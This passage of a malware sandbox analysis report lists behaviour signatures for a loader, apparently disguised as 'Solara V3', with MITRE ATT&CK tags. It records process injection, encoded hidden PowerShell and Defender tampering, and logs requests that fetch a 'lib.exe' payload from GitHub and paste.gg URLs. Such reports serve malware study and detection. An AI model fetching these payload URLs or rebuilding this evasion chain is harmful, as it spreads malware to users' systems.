\"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$58","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006460-00000C2A-1736695195\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006460-00000C2A-1739430779\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006460-00000C2A-1739850582\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006460-00000C2A-1739850611\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"Loader.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006460)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00008316)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004152)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$59","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"New-ItemProperty\" (Indicator: \"New-ItemProperty\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilegeZ\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp, 00000000-00006460.00000000.174701.1BCA0000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains ability to reboot OS (Powershell command string)","description":"Found string \"Restart-Computer\" (Indicator: \"Restart-Computer\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-392","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Contains reference to WinRM activity (Powershell command string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-383","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Contains reference to authentication certificates (Powershell command string)","description":"Found string \"Get-PfxCertificate\" (Indicator: \"Get-PfxCertificate\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1649","relevance":1,"id":"string-391","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5d","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"$5e","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"$5f","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to run commands from session history (Powershell command string)","description":"Found string \"Invoke-History\" (Indicator: \"Invoke-History\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Invoke-History\" (Indicator: \"Invoke-History\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-347","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to transaction activity (Powershell command string)","description":"Found string \"Get-Transaction\" (Indicator: \"Get-Transaction\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Start-Transaction\" (Indicator: \"Start-Transaction\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Complete-Transaction\" (Indicator: \"Complete-Transaction\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Undo-Transaction\" (Indicator: \"Undo-Transaction\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Use-Transaction\" (Indicator: \"Use-Transaction\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-376","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp, 00000000-00008316.00000002.179261.56400000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00004152]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004152]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Loader.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"powershell.exe\" at 00000000-00008316-00000C14-1754860857","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$61","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses powershell with a windows hidden commandline param","description":"$62","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"Loader.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6460)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 8316)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4152)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses a .NET obfuscator to hide its code","description":"$63","origin":"File/Memory","mitre_attack_id":"T1140","relevance":2,"id":"string-6","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses powershell with an encoded commandline","description":"$64","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-28","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection","description":"System.Type::GetConstructor(System.Reflection.BindingFlags,System.Reflection.Binder,System.Type[],System.Reflection.ParameterModifier[]) at f6e195d0b763235a06093d8013b1d5dc-600003c-MainModuleUI~Prompt","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1571","relevance":5,"id":"stream-85","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.183.180 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 172.67.183.180 on port 443 (TCP); Domain: \"paste.gg\"","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - PowerShell with Base64 encoding","description":"YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00008316\"\n YARA signature for PowerShell containing Base64 encoding matched on file \"sample.bin\"\n YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00006460\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-35","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"Loader.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_tpv2wige.y0o.ps1\" with delete access\n \"Loader.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_1midewnx.jod.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_54tdtoyr.4qs.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_r2tzsvhz.i4p.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gx32mqjv.wmr.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h0qigsys.nn0.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Commandline contains long base64 encoded string","description":"Commandline contains long base64 encoded string \"IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABv.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_54tdtoyr.4qs.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_54tdtoyr.4qs.ps1]- [targetUID: 00000000-00008316]\n Dropped file: \"__PSScriptPolicyTest_tpv2wige.y0o.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_tpv2wige.y0o.ps1]- [targetUID: 00000000-00006460]\n Dropped file: \"__PSScriptPolicyTest_gx32mqjv.wmr.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_gx32mqjv.wmr.ps1]- [targetUID: 00000000-00004152]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$65","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.Me\" - (UID: 00000000-00008316)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"Loader.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1696)\n \"Loader.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1696)\n \"powershell.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 2504)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 2504)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"malicious","category":"Network Related","name":"Downloads file using Powershell DownloadFile","description":"$66","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":5,"id":"target-176","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"Solara V3.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"Solara V3.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Solara V3.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"Solara V3.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Solara V3.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"ggConnection\" in header \"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1Host: paste.ggConnection: Keep-Alive\"\n Contains base64 string in header \"Keep\" in header \"GET /p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw HTTP/1.1Host: paste.ggConnection: Keep-Alive\"\n Contains base64 string in header \"Keep\" in header \"GET /hvaddl2h/SFR/raw/refs/heads/main/lib.exe HTTP/1.1Host: github.comConnection: Keep-Alive\"\n Contains base64 string in header \"Keep\" in header \"GET /hvaddl2h/SFR/refs/heads/main/lib.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"SolaraV3.exe\" called \"IsWow64Process\" with parameter \"8612\" - (UID: 00000000-00008612)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"8952\" - (UID: 00000000-00008952)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"8036\" - (UID: 00000000-00008036)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"80173977650,6172,107,,GetActiveWindow,user32.dll,\"01:00:00.734\",RX=0,PX=0\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80248909315,6172,109,,GetWindowTextW,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")\n Found reference to API \"80249528617,6172,109,,GetWindowTextW,user32.dll,\"01:00:00.765\",RX=0,PX=0\" (Indicator: \"GetWindowText\"; Source: \"00000000-00008612.00000001.230549.1D7E8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00008612.00000002.232468.21FB0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"Solara V3.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"a3bqmcq2.nsp0.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"paste.gg\"\n \"github.com\"\n \"raw.githubusercontent.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"https://github.com/hvaddl2h/SFR/raw/refs/heads/main/lib.exe\" (Indicator: 